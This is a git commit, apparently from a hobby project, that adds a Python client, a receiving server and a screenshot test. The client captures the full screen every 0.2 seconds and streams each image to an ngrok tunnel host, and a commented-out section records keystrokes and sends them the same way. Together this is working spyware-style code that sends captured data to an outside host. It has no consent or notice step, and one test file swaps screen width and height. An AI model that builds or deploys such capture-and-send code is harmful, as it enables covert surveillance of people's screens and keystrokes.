add stuff for image sending

This commit is contained in:
CactiChameleon9 2021-03-15 07:44:14 +00:00
parent ca1fddb110
commit 4f3fde96bc
4 changed files with 179 additions and 0 deletions

View File

@ -0,0 +1,110 @@
import socket
import os
import tkinter
from PIL import ImageGrab
import time
SEPARATOR = "<SEPARATOR>"
BUFFER_SIZE = 4096 # send 4096 bytes each time step
# the ip address or hostname of the server, the receiver
# the port, let's use 5001
host = "0.tcp.ngrok.io"
port = 15552
# host = "0.0.0.0"
# port = 5001
# the name of file we want to send, make sure it exists
filename = "screen.jpg"
# get the file size
filesize = os.path.getsize(filename)
# create the client socket
s = socket.socket()
print(f"[+] Connecting to {host}:{port}")
s.connect((host, port))
print("[+] Connected.")
# send the filename and filesize
#s.send("HELLO".encode())
s.send(f"{filename}{SEPARATOR}{filesize}".encode())
def sendfile():
# start sending the file
with open(filename, "rb") as f:
while True:
# read the bytes from the file
bytes_read = f.read(BUFFER_SIZE)
if not bytes_read:
# file transmitting is done
break
# we use sendall to assure transimission in
# busy networks
s.sendall(bytes_read)
# close the socket
#s.close()
#-----------------------------------------------------------
bbox=(0,0,tkinter.Tk().winfo_screenwidth(),tkinter.Tk().winfo_screenheight())
while True:
image = ImageGrab.grab(bbox)
image.save('screen.jpg',optimize=True,quality=30)
print("screenshot taken")
sendfile()
time.sleep(0.2)
s.send("FILEDONE".encode())
# def on_press(key):
#
# if str(key) == 'Key.enter':
# text_file = open("data.txt", "w")
# text_file.write("\n")
# text_file.close()
# sendfile()
#
# elif str(key) == 'Key.space':
# text_file = open("data.txt", "w")
# text_file.write(" ")
# text_file.close()
# sendfile()
#
# elif str(key) == 'Key.backspace':
# print("Invalid")
#
#
# else:
# text_file = open("data.txt", "w")
# text_file.write(('{}'.format(key)).replace("'", ""))
# text_file.close()
# sendfile()
#
#
#
# def on_release(key):
#
# #print('Key {} released.'.format(key))
#
# if str(key) == 'Key.esc':
#
# print('Exiting...')
#
# return False
#
#
#
# with keyboard.Listener(
#
# on_press = on_press,
#
# on_release = on_release) as listener:
#
# listener.join()
#-----------------------------------------

BIN
Server/screen.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 51 KiB

58
test.py Normal file
View File

@ -0,0 +1,58 @@
import socket
import os
# device's IP address
SERVER_HOST = "0.0.0.0" #(socket.gethostbyname(socket.gethostname()))
SERVER_PORT = 5001
# receive 4096 bytes each time
BUFFER_SIZE = 4096
SEPARATOR = "<SEPARATOR>"
# create the server socket
# TCP socket
s = socket.socket()
# bind the socket to our local address
s.bind((SERVER_HOST, SERVER_PORT))
# enabling our server to accept connections
# 5 here is the number of unaccepted connections that
# the system will allow before refusing new connections
s.listen(5)
print(f"[*] Listening as {SERVER_HOST}:{SERVER_PORT}")
# accept connection if there is any
client_socket, address = s.accept()
# if below code is executed, that means the sender is connected
print(f"[+] {address} is connected.")
# receive the file infos
# receive using client socket, not server socket
received = client_socket.recv(BUFFER_SIZE).decode()
filename, filesize = received.split(SEPARATOR)
# remove absolute path if there is
filename = os.path.basename(filename)
# convert to integer
filesize = int(filesize)
# start receiving the file from the socket
# and writing to the file stream
#with open(filename, "wb") as f:
while True:
# read 1024 bytes from the socket (receive)
bytes_read = client_socket.recv(BUFFER_SIZE)
if not bytes_read:
# nothing is received
# file transmitting is done take another time
break
# write to the file the bytes we just received
try:
hello = bytes_read.decode()
os.remove(filename)
print("I am deleting the file")
except:
f = open(filename, 'ab')
f.write(bytes_read)
print("I am adding to the file")
f.close()
# close the client socket
#client_socket.close()
# close the server socket
#s.close()

11
testpillow.py Normal file
View File

@ -0,0 +1,11 @@
import tkinter
from PIL import ImageGrab
bbox=(0,0,tkinter.Tk().winfo_screenheight(),tkinter.Tk().winfo_screenwidth())
image = ImageGrab.grab(bbox)
image.save('sc.jpg',optimize=True,quality=30)
# from PIL import ImageGrab
# image = ImageGrab.grab(bbox=(0,0,700,800))
# image.save('sc.jpg',optimize=True,quality=30)